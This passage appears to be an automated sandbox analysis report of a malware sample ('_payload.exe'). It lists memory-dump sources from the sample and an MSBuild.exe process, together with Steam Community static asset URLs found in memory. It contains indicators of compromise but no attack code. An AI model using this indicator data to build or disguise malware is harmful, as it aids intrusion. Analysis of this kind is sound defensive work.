a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=GG0UCGgA
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=Dbzy
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, 